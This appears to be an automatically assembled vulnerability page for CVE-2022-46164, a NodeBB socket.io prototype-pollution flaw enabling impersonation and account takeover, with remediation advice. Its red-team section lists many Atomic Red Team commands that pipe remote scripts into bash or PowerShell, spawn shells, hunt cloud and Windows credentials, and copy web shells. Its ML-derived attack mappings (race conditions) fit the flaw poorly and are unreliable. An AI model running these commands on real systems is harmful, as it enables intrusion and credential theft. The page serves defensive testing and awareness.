CVE-2022-46164
Overview
This vulnerability is an authentication bypass and impersonation flaw arising from unsafe handling of prototype pollution in socket.io message processing within NodeBB forum software. The root cause is the usage of a plain object with a prototype in message handling, which allows crafted payloads to manipulate user identity data. The affected component is the socket.io message handler in NodeBB versions prior to 2.6.1.
Vulnerability Description
NodeBB is an open source Node.js based forum software. Due to a plain object with a prototype being used in socket.io message handling a specially crafted payload can be used to impersonate other users and takeover accounts. This vulnerability has been patched in version 2.6.1. Users are advised to upgrade. Users unable to upgrade may cherry-pick commit `48d143921753914da45926cca6370a92ed0c46b8` into their codebase to patch the exploit.
Impact
An unauthenticated remote attacker can exploit this vulnerability to impersonate any user on the NodeBB forum, including administrators, enabling account takeover. This allows unauthorized access to user accounts and potentially sensitive information. The attack requires only network access to the socket.io interface and no user interaction or privileges, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The business impact includes unauthorized data access, potential privilege escalation, and loss of user trust due to compromised accounts.
Solution
Users should upgrade NodeBB to version 2.6.1 or later, where the vulnerability is patched. For those unable to upgrade immediately, the vendor recommends cherry-picking the commit 48d143921753914da45926cca6370a92ed0c46b8 into their codebase to mitigate the issue. Detailed patch instructions and advisory information are available at the NodeBB GitHub security advisory GHSA-rf3g-v8p5-p675 (https://github.com/NodeBB/NodeBB/security/advisories/GHSA-rf3g-v8p5-p675).
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in NodeBB arises from improper handling of socket.io messages, specifically through the use of a plain object with a prototype. This design flaw allows an attacker to craft a malicious payload that can manipulate the prototype chain of an object. By exploiting this weakness, an attacker can impersonate other users on the platform, potentially gaining unauthorized access to their accounts. This is particularly concerning in a forum environment where user identities and trust are paramount. The vulnerability highlights a critical security oversight in the way user data and session management are handled within the application, exposing the underlying architecture to significant risks.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the manipulation of socket.io communications. An attacker could send a specially crafted message to the server, which, due to the flawed prototype handling, would be processed as if it were a legitimate request from an authenticated user. This could allow the attacker to perform actions on behalf of the impersonated user, such as posting messages, modifying account settings, or accessing private information. Scenarios could range from a disgruntled user attempting to damage the reputation of another user to more sophisticated attacks aimed at harvesting sensitive data or spreading malware within the community.
The real-world impact of this vulnerability is profound, particularly for organizations relying on NodeBB for community engagement or customer support. The potential for account takeover poses significant business risks, including loss of user trust, reputational damage, and legal ramifications stemming from data breaches. If an attacker successfully impersonates a user, they could manipulate discussions, spread misinformation, or even conduct financial fraud. The consequences extend beyond individual users to affect the entire community, potentially leading to a decline in user engagement and a loss of revenue for businesses that depend on active participation in their forums.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version of NodeBB, specifically version 2.6.1 or later. For users unable to perform a full upgrade, cherry-picking the specific commit that addresses the vulnerability is a viable alternative, although it may not be as comprehensive as a full update. Regular security audits and code reviews should be conducted to identify similar vulnerabilities in custom implementations of socket.io or other libraries. Additionally, implementing robust logging and monitoring solutions can help detect unusual activity that may indicate an account takeover attempt, allowing for timely responses to potential breaches.
In conclusion, the vulnerability in NodeBB presents a critical threat to user security and organizational integrity. The ease of exploitation, coupled with the severe consequences of account takeover, underscores the importance of maintaining up-to-date software and employing proactive security measures. Organizations must remain vigilant, not only by applying patches but also by fostering a culture of security awareness among users to mitigate risks associated with social engineering and account compromise. By addressing these vulnerabilities head-on, organizations can protect their communities and maintain the trust of their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Nodebb | Nodebb | All |
cpe:2.3:a:nodebb:nodebb:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
stephenbradshaw/CVE-2022-46164-poc
Basic POC exploit for CVE-2022-46164
|
stephenbradshaw | 12 | 2 | 2023-01-04 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-26 | Leveraging Race Conditions |
30%
|
High | High | |
| CAPEC-29 | Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-46164 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/NodeBB/NodeBB/security/advisories/GHSA-rf3g-v8p5-p675 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/NodeBB/NodeBB/commit/48d143921753914da45926cca6370a92ed0c46b8 |